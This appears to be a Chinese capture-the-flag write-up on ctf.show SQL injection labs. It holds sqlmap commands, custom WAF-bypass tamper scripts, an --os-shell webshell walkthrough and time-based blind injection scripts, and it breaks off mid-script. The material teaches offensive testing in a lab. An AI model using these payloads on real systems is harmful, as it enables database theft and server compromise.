python sqlmap.py -u "http://1f0b2af7-ba16-42f3-a608-98e28e8dab57.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=abcd" --data "id=1" --referer="ctf.show" --safe-url="http://1f0b2af7-ba16-42f3-a608-98e28e8dab57.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment -D ctfshow_web -T ctfshow_flaxca --columns

python sqlmap.py -u "http://1f0b2af7-ba16-42f3-a608-98e28e8dab57.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=abcd" --data "id=1" --referer="ctf.show" --safe-url="http://1f0b2af7-ba16-42f3-a608-98e28e8dab57.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump

# web208

	--tamper 的 2 体验


	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";


	返回逻辑
	// 对传入的参数进行了过滤
	// $id = str_replace('select', '', $id);
	function waf($str){
	return preg_match('/ /', $str);
	}

这里过滤的是小写的 select ，而 sqlmap 里面的执行的命令一般为大写的 SELECT

考虑绕过空格即可

使用 space2comment 用 /**/ 代替空格

python sqlmap.py -u "http://b0527063-c2a8-4718-b0d1-d0a218ca82e4.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=abcd" --data "id=1" --referer="ctf.show" --safe-url="http://b0527063-c2a8-4718-b0d1-d0a218ca82e4.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment -D ctfshow_web --tables

python sqlmap.py -u "http://b0527063-c2a8-4718-b0d1-d0a218ca82e4.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=abcd" --data "id=1" --referer="ctf.show" --safe-url="http://b0527063-c2a8-4718-b0d1-d0a218ca82e4.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment -D ctfshow_web -T ctfshow_flaxcac --columns

python sqlmap.py -u "http://b0527063-c2a8-4718-b0d1-d0a218ca82e4.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=abcd" --data "id=1" --referer="ctf.show" --safe-url="http://b0527063-c2a8-4718-b0d1-d0a218ca82e4.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment -D ctfshow_web -T ctfshow_flaxcac -C flagvca --dump

# web209

	--tamper 的 3 体验


	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";


	返回逻辑
	// 对传入的参数进行了过滤
	function waf($str){
	//TODO 未完工
	return preg_match('/ \|\*\|\=/', $str);
	}

sqlmap 的 tamper 脚本没有针对这道题的过滤的脚本，需要自己对 tamper 脚本做简单修改

用 %0a 绕过空格和 * ，用 like 绕过 =

sqlmap 自带的 tamper 脚本 space2comment.py

	#!/usr/bin/env python

	"""
	Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
	See the file 'LICENSE' for copying permission
	"""

	from lib.core.compat import xrange
	from lib.core.enums import PRIORITY

	__priority__ = PRIORITY.LOW

	def dependencies():
	pass

	def tamper(payload, **kwargs):
	"""
	Replaces space character (' ') with comments '/**/'

	Tested against:
	* Microsoft SQL Server 2005
	* MySQL 4, 5.0 and 5.5
	* Oracle 10g
	* PostgreSQL 8.3, 8.4, 9.0

	Notes:
	* Useful to bypass weak and bespoke web application firewalls

	>>> tamper('SELECT id FROM users')
	'SELECT//id//FROM/**/users'
	"""

	retVal = payload

	if payload:
	retVal = ""
	quote, doublequote, firstspace = False, False, False

	for i in xrange(len(payload)):
	if not firstspace:
	if payload[i].isspace():
	firstspace = True
	retVal += "/**/"
	continue

	elif payload[i] == '\'':
	quote = not quote

	elif payload[i] == '"':
	doublequote = not doublequote

	elif payload[i] == " " and not doublequote and not quote:
	retVal += "/**/"
	continue

	retVal += payload[i]

	return retVal

ctfshow209sqlmap.py

	#!/usr/bin/env python
	#ctfshow209 by AlgoZZi

	from lib.core.compat import xrange
	from lib.core.enums import PRIORITY

	__priority__ = PRIORITY.LOW

	def dependencies():
	pass

	def tamper(payload, **kwargs):
	"""
	自定义 tamper 脚本
	功能：
	1. 将空格替换为 "%0a"，用于绕过部分 WAF
	2. 将等号 "=" 替换为 "chr(0x9) + "like" + chr(0x9)"，制造语义混淆
	使用场景：
	可用于 SQL 注入时绕过简单的过滤规则
	"""

	retVal = payload

	if payload:
	retVal = ""
	quote, doublequote, firstspace = False, False, False

	for i in xrange(len(payload)):
	# 处理第一个空格
	if not firstspace:
	if payload[i].isspace():
	firstspace = True
	retVal += chr(0x9)
	continue

	# 单引号开关（避免替换引号中的空格）
	elif payload[i] == '\'':
	quote = not quote

	# 双引号开关（避免替换引号中的空格）
	elif payload[i] == '"':
	doublequote = not doublequote

	# 普通空格替换为 chr (0x9)
	elif payload[i] == " " and not doublequote and not quote:
	retVal += chr(0x9)
	continue

	# 等号替换为 chr (0x9) + "like" + chr (0x9)
	elif payload[i] == "=" and not doublequote and not quote:
	retVal += chr(0x9) + "like" + chr(0x9)
	continue

	# 其他字符保持不变
	retVal += payload[i]

	return retVal

python sqlmap.py -u "http://84cc13d6-65ad-47e3-910f-265c7b4ed1a4.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=abcd" --data "id=1" --referer="ctf.show" --safe-url="http://84cc13d6-65ad-47e3-910f-265c7b4ed1a4.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=ctfshow209sqlmap -D ctfshow_web --tables

python sqlmap.py -u "http://84cc13d6-65ad-47e3-910f-265c7b4ed1a4.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=abcd" --data "id=1" --referer="ctf.show" --safe-url="http://84cc13d6-65ad-47e3-910f-265c7b4ed1a4.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=ctfshow209sqlmap -D ctfshow_web -T ctfshow_flav --columns

python sqlmap.py -u "http://84cc13d6-65ad-47e3-910f-265c7b4ed1a4.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=abcd" --data "id=1" --referer="ctf.show" --safe-url="http://84cc13d6-65ad-47e3-910f-265c7b4ed1a4.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=ctfshow209sqlmap -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx --dump

# web210

	--tamper 的 4 体验


	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";


	返回逻辑
	// 对查询字符进行解密
	function decode($id){
	return strrev(base64_decode(strrev(base64_decode($id))));
	}

自定义脚本 ctfshow210sqlmap.py

	#!/usr/bin/env python
	#ctfshow210 by AlgoZZi
	#ctfshow210sqlmap.py

	from lib.core.enums import PRIORITY
	from lib.core.common import singleTimeWarnMessage
	import base64

	__priority__ = PRIORITY.LOW

	def dependencies():
	# 加载依赖时提示，仅显示一次
	singleTimeWarnMessage("自定义 tamper 脚本已加载")

	def tamper(payload, **kwargs):
	"""
	自定义 tamper 脚本
	功能说明：
	1. 对 payload 进行双重编码和逆序处理
	2. 具体流程：
	- 将 payload 转为字节串
	- 先整体逆序
	- Base64 编码
	- 再次逆序
	- 再次 Base64 编码
	- 最终输出字符串形式
	用途：
	用于在 SQL 注入过程中对 payload 进行混淆编码，
	以绕过部分基于特征的安全检测。
	"""

	retVal = payload

	if payload:
	# 转为字节串
	retVal = retVal.encode()
	# 第一次逆序
	retVal = retVal[::-1]
	# 第一次 Base64 编码
	retVal = base64.b64encode(retVal)
	# 第二次逆序
	retVal = retVal[::-1]
	# 第二次 Base64 编码
	retVal = base64.b64encode(retVal)
	# 转回字符串输出
	retVal = retVal.decode()

	return retVal

python sqlmap.py -u "http://c58459cd-860c-4305-97d6-d07cb10dc4d4.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=abcd" --data "id=1" --referer="ctf.show" --safe-url="http://c58459cd-860c-4305-97d6-d07cb10dc4d4.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=ctfshow210sqlmap -D ctfshow_web --tables

python sqlmap.py -u "http://c58459cd-860c-4305-97d6-d07cb10dc4d4.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=abcd" --data "id=1" --referer="ctf.show" --safe-url="http://c58459cd-860c-4305-97d6-d07cb10dc4d4.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=ctfshow210sqlmap -D ctfshow_web -T ctfshow_flavi --columns

python sqlmap.py -u "http://c58459cd-860c-4305-97d6-d07cb10dc4d4.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=abcd" --data "id=1" --referer="ctf.show" --safe-url="http://c58459cd-860c-4305-97d6-d07cb10dc4d4.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=ctfshow210sqlmap -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx --dump

# web211

	--tamper 的 5 体验


	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";


	返回逻辑
	// 对查询字符进行解密
	function decode($id){
	return strrev(base64_decode(strrev(base64_decode($id))));
	}
	function waf($str){
	return preg_match('/ /', $str);
	}

增加了对空格的过滤

自定义脚本 ctfshow211sqlmap.py

	#!/usr/bin/env python
	#ctfshow211 by AlgoZZi
	#ctfshow211sqlmap.py

	from lib.core.enums import PRIORITY
	from lib.core.common import singleTimeWarnMessage
	import base64

	__priority__ = PRIORITY.LOW

	def dependencies():
	# 加载依赖时提示，仅显示一次
	singleTimeWarnMessage("自定义 tamper 脚本已加载")

	def tamper(payload, **kwargs):
	"""
	自定义 tamper 脚本
	功能说明：
	1. 对 payload 进行双重编码和逆序处理
	2. 具体流程：
	- 使用 "/**/" 绕过空格过滤
	- 将 payload 转为字节串
	- 先整体逆序
	- Base64 编码
	- 再次逆序
	- 再次 Base64 编码
	- 最终输出字符串形式
	用途：
	用于在 SQL 注入过程中对 payload 进行混淆编码，
	以绕过部分基于特征的安全检测。
	"""

	retVal = payload

	if payload:
	# 使用 "/**/" 绕过空格过滤
	retVal = retVal.replace(" ", "/**/")
	# 转为字节串
	retVal = retVal.encode()
	# 第一次逆序
	retVal = retVal[::-1]
	# 第一次 Base64 编码
	retVal = base64.b64encode(retVal)
	# 第二次逆序
	retVal = retVal[::-1]
	# 第二次 Base64 编码
	retVal = base64.b64encode(retVal)
	# 转回字符串输出
	retVal = retVal.decode()

	return retVal

python sqlmap.py -u "http://e58ad50a-0553-4a24-8033-e233f86876f0.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=abcd" --data "id=1" --referer="ctf.show" --safe-url="http://e58ad50a-0553-4a24-8033-e233f86876f0.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=ctfshow211sqlmap -D ctfshow_web --tables

python sqlmap.py -u "http://e58ad50a-0553-4a24-8033-e233f86876f0.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=abcd" --data "id=1" --referer="ctf.show" --safe-url="http://e58ad50a-0553-4a24-8033-e233f86876f0.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=ctfshow211sqlmap -D ctfshow_web -T ctfshow_flavia --columns

python sqlmap.py -u "http://e58ad50a-0553-4a24-8033-e233f86876f0.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=abcd" --data "id=1" --referer="ctf.show" --safe-url="http://e58ad50a-0553-4a24-8033-e233f86876f0.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=ctfshow211sqlmap -D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa --dump

# web212

	--tamper 的 6 体验


	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";


	返回逻辑
	// 对查询字符进行解密
	function decode($id){
	return strrev(base64_decode(strrev(base64_decode($id))));
	}
	function waf($str){
	return preg_match('/ \|\*/', $str);
	}

过滤了 空格 、 *

自定义脚本 ctfshow212sqlmap.py

	#!/usr/bin/env python
	#ctfshow212 by AlgoZZi
	#ctfshow212sqlmap.py

	from lib.core.enums import PRIORITY
	from lib.core.common import singleTimeWarnMessage
	import base64

	__priority__ = PRIORITY.LOW

	def dependencies():
	# 依赖加载时提示，仅显示一次
	singleTimeWarnMessage("自定义 tamper 脚本已加载")

	def tamper(payload, **kwargs):
	"""
	自定义 tamper 脚本
	功能说明：
	1. 通过 bypass() 函数，将 payload 中的空格替换为制表符 (TAB, chr(0x09))
	—— 常用于绕过对空格和 * 的过滤
	2. 对替换后的 payload 进行多层混淆处理：
	- 将 payload 转为字节串
	- 整体逆序一次
	- Base64 编码一次
	- 再次逆序
	- 再次 Base64 编码
	- 最终转回字符串输出
	用途：
	用于在 SQL 注入过程中，对 payload 进行特殊字符替换和多层编码，
	以绕过 WAF 或定制化的安全检测规则。
	"""

	# 先替换空格为制表符
	payload = bypass(payload)

	retVal = payload
	# 转为字节串
	retVal = retVal.encode()
	# 第一次逆序
	retVal = retVal[::-1]
	# 第一次 Base64 编码
	retVal = base64.b64encode(retVal)
	# 第二次逆序
	retVal = retVal[::-1]
	# 第二次 Base64 编码
	retVal = base64.b64encode(retVal)
	# 转回字符串
	retVal = retVal.decode()

	return retVal


	def bypass(payload):
	"""
	bypass 函数
	功能：
	遍历 payload，每当遇到空格字符 " " 时，
	替换为 chr(0x09) —— 制表符 TAB
	其他字符保持不变。
	"""

	retVal = ""
	for i in range(len(payload)):
	if payload[i] == " ":
	retVal += chr(0x09)
	else:
	retVal += payload[i]

	return retVal

python sqlmap.py -u "http://617c81df-36f9-45e8-9aee-16cad9d2d20e.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=abcd" --data "id=1" --referer="ctf.show" --safe-url="http://617c81df-36f9-45e8-9aee-16cad9d2d20e.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=ctfshow212sqlmap -D ctfshow_web --tables

python sqlmap.py -u "http://617c81df-36f9-45e8-9aee-16cad9d2d20e.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=abcd" --data "id=1" --referer="ctf.show" --safe-url="http://617c81df-36f9-45e8-9aee-16cad9d2d20e.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=ctfshow212sqlmap -D ctfshow_web -T ctfshow_flavis --columns

python sqlmap.py -u "http://617c81df-36f9-45e8-9aee-16cad9d2d20e.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=abcd" --data "id=1" --referer="ctf.show" --safe-url="http://617c81df-36f9-45e8-9aee-16cad9d2d20e.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=ctfshow212sqlmap -D ctfshow_web -T ctfshow_flavis -C ctfshow_flagxsa --dump

# web213

	练习使用--os-shell 一键 getshell


	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";


	返回逻辑
	// 对查询字符进行解密
	function decode($id){
	return strrev(base64_decode(strrev(base64_decode($id))));
	}
	function waf($str){
	return preg_match('/ \|\*/', $str);
	}

过滤了 空格 、 *

--os-shell

1. --os-shell 的本质

在 sqlmap 或手工利用中， --os-shell 并不是直接提供一个系统 shell，而是通过数据库权限绕路去获取命令执行。
其典型方式就是 —— 往服务器写入两个 WebShell 文件：

命令执行型 WebShell：例如 cmd.php ，可以让攻击者通过访问页面并传参执行系统命令（ system() , exec() 等）。
文件上传型 WebShell：例如 upload.php ，提供上传文件功能，进一步落地木马或工具。

这类利用能否成功，完全取决于数据库账号的 文件写权限 + Web 路径的可控性。

2.MySQL 导入导出与 secure_file_priv 的作用

在 MySQL 里，如果要利用 --os-shell 写文件，通常依赖于以下语句：

SELECT ... INTO OUTFILE '/var/www/html/shell.php';

或者

LOAD DATA INFILE '/tmp/file.txt' INTO TABLE ...

这里是否能写文件，就由参数 secure_file_priv 控制：

secure_file_priv = NULL
- 表示完全禁止 导入导出 文件。
- 攻击者无法通过 INTO OUTFILE 写入 WebShell。
secure_file_priv = /some/path/ （某个具体目录）
- 表示仅允许在这个目录下导入 / 导出文件。
- 如果这个目录 不在 Web 服务根目录下，攻击者写入的 WebShell 无法被访问。
- 但是攻击者仍可导出数据到该目录（数据外泄）。
secure_file_priv = '' （空值）
- 表示没有限制，可以在 任意目录 下导入 / 导出文件。
- 这是最危险的情况，攻击者可直接写到网站根目录，获取 WebShell。

python sqlmap.py -u "http://a8fb5c96-25eb-40a1-a21c-dd4744e3238e.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type:text/plain" --data "id=1" --referer="ctf.show" --safe-url="http://a8fb5c96-25eb-40a1-a21c-dd4744e3238e.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=ctfshow212sqlmap --os-shell

对于目标网站执行的脚本语言 --> 选择 [4] PHP

对于 WebShell 写向地址 --> 选择 [1] commom loaction (s)

[1] common location (s) (默认)

sqlmap 会尝试一批常见的 Web 根目录（例如 /var/www/html/ 、 /srv/www/htdocs/ 等）。

如果靶机是常规 Linux + Nginx/Apache ，选这个大多数情况能成功。

[2] custom location(s)

手动输入一个路径（例如知道网站真实路径 /home/ctf/web/ ）。

适合已知路径的情况。

[3] custom directory list file

提供一个包含很多可能路径的文件，sqlmap 会逐个尝试。

适合你自己收集了目录字典时。

[4] brute force search

sqlmap 会尝试暴力枚举目录，效率低，噪音大。

一般不推荐（CTF 或靶机可以试，真实环境容易被发现）。

获得交互式 shell

# web214

	开始基于时间盲注


	查询语句
	// 无


	返回逻辑
	// 屏蔽危险分子

查看 js 代码可知， /api/ 提交了两个参数： ip 和 debug ，这两个即为注入点

经过测试，当 debug=1 时，页面有回显

查看表名

查看字段

查看 flag

	import requests
	from concurrent.futures import ThreadPoolExecutor, as_completed
	import time

	# ===================== 配置区 =====================
	URL = "http://af1db6b8-59e4-4070-a9ad-4f25c2ccff86.challenge.ctf.show/api/"
	CHARSET = "0123456789abcdefghijklmnopqrstuvwxyz{}-_," # 字符集要齐全
	MAX_LEN = 50 # 最大爆破长度，避免无限循环
	THREADS = 10 # 使用的线程数，代表同时测试多少个字符
	DEBUG = False # 调试开关，设为 True 会打印详细调试信息（比如每次尝试的字符和耗时）
	TIME_THRESHOLD = 1 # 响应时间超过多少秒判定为正确字符
	SLEEP_TIME = 1 # payload 中 sleep 的秒数

	# ★ payload 格式
	# 查数据库
	# TARGET_QUERY = "select group_concat(table_name) from information_schema.tables where table_schema=database()"

	# 查列名
	# TARGET_QUERY = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"

	# 查数据
	TARGET_QUERY = "select flaga from ctfshow_flagx"
	PAYLOAD_TEMPLATE = "if(ascii(substr(({query}),{pos},1))=ascii('{char}'),sleep({sleep}),1)"
	# =================== 配置区结束 ===================

	def test_char(session, pos, ch):
	"""测试某一位的某个字符"""
	payload = PAYLOAD_TEMPLATE.format(query=TARGET_QUERY, pos=pos, char=ch, sleep=SLEEP_TIME)
	data = {
	'ip': payload,
	'debug': '0'
	}

	start = time.time()
	try:
	session.post(url=URL, data=data, timeout=SLEEP_TIME + 2)
	except requests.exceptions.RequestException:
	pass # 超时异常表明 sleep 被执行了

	elapsed = time.time() - start
	if DEBUG:
	print(f"[DEBUG] pos={pos}, try='{ch}', time={elapsed:.2f}s")

	if elapsed >= TIME_THRESHOLD:
	return ch
	return None

	def extract_flag():
	flag = ""
	session = requests.Session()

	for i in range(1, MAX_LEN + 1):
	found = None
	with ThreadPoolExecutor(max_workers=THREADS) as executor:
	futures = {executor.submit(test_char, session, i, ch): ch for ch in CHARSET}
	for future in as_completed(futures):
	result = future.result()
	if result is not None:
	found = result
	# 找到正确字符后取消其他任务
	for f in futures:
	f.cancel()
	break

	if found:
	flag += found
	print(f"[+] 当前进度: {flag}")
	else:
	print("[*] 爆破结束")
	break

	return flag

	if __name__ == "__main__":
	result = extract_flag()
	print(f"\n最终结果: {result}")

# web215

	开始基于时间盲注


	查询语句
	// 用了单引号


	返回逻辑
	// 屏蔽危险分子

抓包后测试，可以实现延时

ip=1' or sleep(3)#&debug=1

查看表名

查看字段

查看 flag

	import requests
	from concurrent.futures import ThreadPoolExecutor, as_completed
	import time

	# ===================== 配置区 =====================
	URL = "http://7546bdb5-a263-437f-817a-87da2f7de997.challenge.ctf.show/api/"
	CHARSET = "0123456789abcdefghijklmnopqrstuvwxyz{}-_," # 字符集要齐全
	MAX_LEN = 50 # 最大爆破长度，避免无限循环
	THREADS = 10 # 使用的线程数，代表同时测试多少个字符
	DEBUG = False # 调试开关，设为 True 会打印详细调试信息（比如每次尝试的字符和耗时）
	TIME_THRESHOLD = 1 # 响应时间超过多少秒判定为正确字符
	SLEEP_TIME = 2 # payload 中 sleep 的秒数

	# ★ payload 格式
	# 查数据库
	# TARGET_QUERY = "select group_concat(table_name) from information_schema.tables where table_schema=database()"

	# 查列名
	# TARGET_QUERY = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'"

	# 查数据
	TARGET_QUERY = "select flagaa from ctfshow_flagxc"
	PAYLOAD_TEMPLATE = "1' or if(ascii(substr(({query}),{pos},1))=ascii('{char}'),sleep({sleep}),1)#"
	# =================== 配置区结束 ===================

	def test_char(session, pos, ch):
	"""测试某一位的某个字符"""
	payload = PAYLOAD_TEMPLATE.format(query=TARGET_QUERY, pos=pos, char=ch, sleep=SLEEP_TIME)
	data = {
	'ip': payload, # post 参数
	'debug': '0' # post 参数
	}

	start = time.time()
	try:
	session.post(url=URL, data=data, timeout=SLEEP_TIME + 2)
	except requests.exceptions.RequestException:
	pass # 超时异常表明 sleep 被执行了

	elapsed = time.time() - start
	if DEBUG:
	print(f"[DEBUG] pos={pos}, try='{ch}', time={elapsed:.2f}s")

	if elapsed >= TIME_THRESHOLD:
	return ch
	return None

	def extract_flag():
	flag = ""
	session = requests.Session()

	for i in range(1, MAX_LEN + 1):
	found = None
	with ThreadPoolExecutor(max_workers=THREADS) as executor:
	futures = {executor.submit(test_char, session, i, ch): ch for ch in CHARSET}
	for future in as_completed(futures):
	result = future.result()
	if result is not None:
	found = result
	# 找到正确字符后取消其他任务
	for f in futures:
	f.cancel()
	break

	if found:
	flag += found
	print(f"[+] 当前进度: {flag}")
	else:
	print("[*] 爆破结束")
	break

	return flag

	if __name__ == "__main__":
	result = extract_flag()
	print(f"\n最终结果: {result}")

# web216

	开始基于时间盲注


	查询语句
	where id = from_base64($id);


	返回逻辑
	// 屏蔽危险分子

闭合 from_base64() 函数即可

1 经 base64 处理后为 MQ==

查看表名

查看字段

查看 flag

	import requests
	from concurrent.futures import ThreadPoolExecutor, as_completed
	import time

	# ===================== 配置区 =====================
	URL = "http://63681fa7-d5ab-46e8-925f-001bfe6986da.challenge.ctf.show/api/"
	CHARSET = "0123456789abcdefghijklmnopqrstuvwxyz{}-_," # 字符集要齐全
	MAX_LEN = 50 # 最大爆破长度，避免无限循环
	THREADS = 10 # 使用的线程数，代表同时测试多少个字符
	DEBUG = False # 调试开关，设为 True 会打印详细调试信息（比如每次尝试的字符和耗时）
	TIME_THRESHOLD = 1 # 响应时间超过多少秒判定为正确字符
	SLEEP_TIME = 2 # payload 中 sleep 的秒数

	# ★ payload 格式
	# 查数据库
	# TARGET_QUERY = "select group_concat(table_name) from information_schema.tables where table_schema=database()"

	# 查列名
	# TARGET_QUERY = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'"

	# 查数据
	TARGET_QUERY = "select flagaac from ctfshow_flagxcc"
	PAYLOAD_TEMPLATE = "'MQ==') or if(ascii(substr(({query}),{pos},1))=ascii('{char}'),sleep({sleep}),1)#"
	# =================== 配置区结束 ===================

	def test_char(session, pos, ch):
	"""测试某一位的某个字符"""
	payload = PAYLOAD_TEMPLATE.format(query=TARGET_QUERY, pos=pos, char=ch, sleep=SLEEP_TIME)
	data = {
	'ip': payload, # post 参数
	'debug': '0' # post 参数
	}

	start = time.time()
	try:
	session.post(url=URL, data=data, timeout=SLEEP_TIME + 2)
	except requests.exceptions.RequestException:
	pass # 超时异常表明 sleep 被执行了

	elapsed = time.time() - start
	if DEBUG:
	print(f"[DEBUG] pos={pos}, try='{ch}', time={elapsed:.2f}s")

	if elapsed >= TIME_THRESHOLD:
	return ch
	return None

	def extract_flag():
	flag = ""
	session = requests.Session()

	for i in range(1, MAX_LEN + 1):
	found = None
	with ThreadPoolExecutor(max_workers=THREADS) as executor:
	futures = {executor.submit(test_char, session, i, ch): ch for ch in CHARSET}
	for future in as_completed(futures):
	result = future.result()
	if result is not None:
	found = result
	# 找到正确字符后取消其他任务
	for f in futures:
	f.cancel()
	break

	if found:
	flag += found
	print(f"[+] 当前进度: {flag}")
	else:
	print("[*] 爆破结束")
	break

	return flag

	if __name__ == "__main__":
	result = extract_flag()
	print(f"\n最终结果: {result}")

# web217

	开始基于时间盲注


	查询语句
	where id = ($id);


	返回逻辑
	// 屏蔽危险分子
	function waf($str){
	return preg_match('/sleep/i',$str);
	}

benchmark 函数

基本语法

BENCHMARK(loop_count, expression)

作用：把 expression 这个表达式执行 loop_count 次，然后返回 0 。
特点：
- 返回值总是 0 。
- 主要用途是耗时（用来测试数据库性能，或者在注入里 “拖延时间”）。

举例说明

SELECT BENCHMARK(1000000, MD5('test'));

含义：计算 MD5('test') 一百万次。

执行起来非常慢，数据库 CPU 飙高。
最终返回 0 。

查看表名

查看字段

查看 flag

	import requests
	from concurrent.futures import ThreadPoolExecutor, as_completed
	import time

	# ===================== 配置区 =====================
	URL = "http://bf1e7246-382d-496d-b1a5-8bc2dc767ab5.challenge.ctf.show/api/"
	CHARSET = "0123456789abcdefghijklmnopqrstuvwxyz{}-_," # 字符集要齐全
	MAX_LEN = 50 # 最大爆破长度，避免无限循环
	THREADS = 10 # 使用的线程数，代表同时测试多少个字符
	DEBUG = False # 调试开关，设为 True 会打印详细调试信息（比如每次尝试的字符和耗时）
	TIME_THRESHOLD = 0.5 # 响应时间超过多少秒判定为正确字符
	# SLEEP_TIME = 2 # payload 中 sleep 的秒数
	BENCHMARK_COUNT = "10000000" # benchmark 计算量

	# ★ payload 格式
	# 查数据库
	# TARGET_QUERY = "select group_concat(table_name) from information_schema.tables where table_schema=database()"

	# 查列名
	# TARGET_QUERY = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'"

	# 查数据
	TARGET_QUERY = "select flagaabc from ctfshow_flagxccb"
	PAYLOAD_TEMPLATE = "1) or if(ascii(substr(({query}),{pos},1))=ascii('{char}'),benchmark({count},sha(1)),1)#"
	# =================== 配置区结束 ===================

	def test_char(session, pos, ch):
	"""测试某一位的某个字符"""
	payload = PAYLOAD_TEMPLATE.format(query=TARGET_QUERY, pos=pos, char=ch, count=BENCHMARK_COUNT)
	data = {
	'ip': payload, # post 参数
	'debug': '0' # post 参数
	}

	start = time.time()
	try:
	# session.post(url=URL, data=data, timeout=SLEEP_TIME + 2)
	session.post(url=URL, data=data, timeout=TIME_THRESHOLD + 5)
	except requests.exceptions.RequestException:
	pass # 超时异常表明 sleep 被执行了

	elapsed = time.time() - start
	if DEBUG:
	print(f"[DEBUG] pos={pos}, try='{ch}', time={elapsed:.2f}s")

	if elapsed >= TIME_THRESHOLD:
	return ch
	return None

	def extract_flag():
	flag = ""
	session = requests.Session()

	for i in range(1, MAX_LEN + 1):
	found = None
	with ThreadPoolExecutor(max_workers=THREADS) as executor:
	futures = {executor.submit(test_char, session, i, ch): ch for ch in CHARSET}
	for future in as_completed(futures):
	result = future.result()
	if result is not None:
	found = result
	# 找到正确字符后取消其他任务
	for f in futures:
	f.cancel()
	break

	if found:
	flag += found
	print(f"[+] 当前进度: {flag}")
	else:
	print("[*] 爆破结束")
	break

	return flag

	if __name__ == "__main__":
	result = extract_flag()
	print(f"\n最终结果: {result}")

# web218

	开始基于时间盲注


	查询语句
	where id = ($id);


	返回逻辑
	// 屏蔽危险分子
	function waf($str){
	return preg_match('/sleep\|benchmark/i',$str);
	}

笛卡尔积

笛卡尔积定义

在数据库中，笛卡尔积指的是在没有任何连接条件的情况下，把两张表的所有记录进行两两组合，生成的结果集。

换句话说：

如果表 A 有 m 行，表 B 有 n 行；
那么 A × B 的结果就是 m * n 行。

这是数学里笛卡尔积的概念在 SQL 里的体现。

SQL 示例

假设有两张表：

表 student

id	name
1	张三
2	李四

表 course

id	cname
101	数学
102	英语
103	计算机

查询笛卡尔积

	SELECT *
	FROM student, course;

或等价写法：

	SELECT *
	FROM student CROSS JOIN course;

结果

id	name	id	cname
1	张三	101	数学
1	张三	102	英语
1	张三	103	计算机
2	李四	101	数学
2	李四	102	英语
2	李四	103	计算机

结果有 2 × 3 = 6 行。

笛卡尔积的用途

作为 JOIN 的基础
- 笛卡尔积是 SQL 中连接运算的基础。
- 实际上， INNER JOIN 本质就是先做笛卡尔积，然后筛选出满足连接条件的记录。

例如：

	SELECT *
	FROM student, course
	WHERE student.id = course.id;

这里就是在笛卡尔积的结果里加了 WHERE 条件，才变成有意义的连接。

生成组合
- 有时我们需要所有可能的组合情况（比如试卷题库出题组合、投资组合），笛卡尔积可以直接拿来用。

查看表名

查看字段

查看 flag

	import requests
	import time

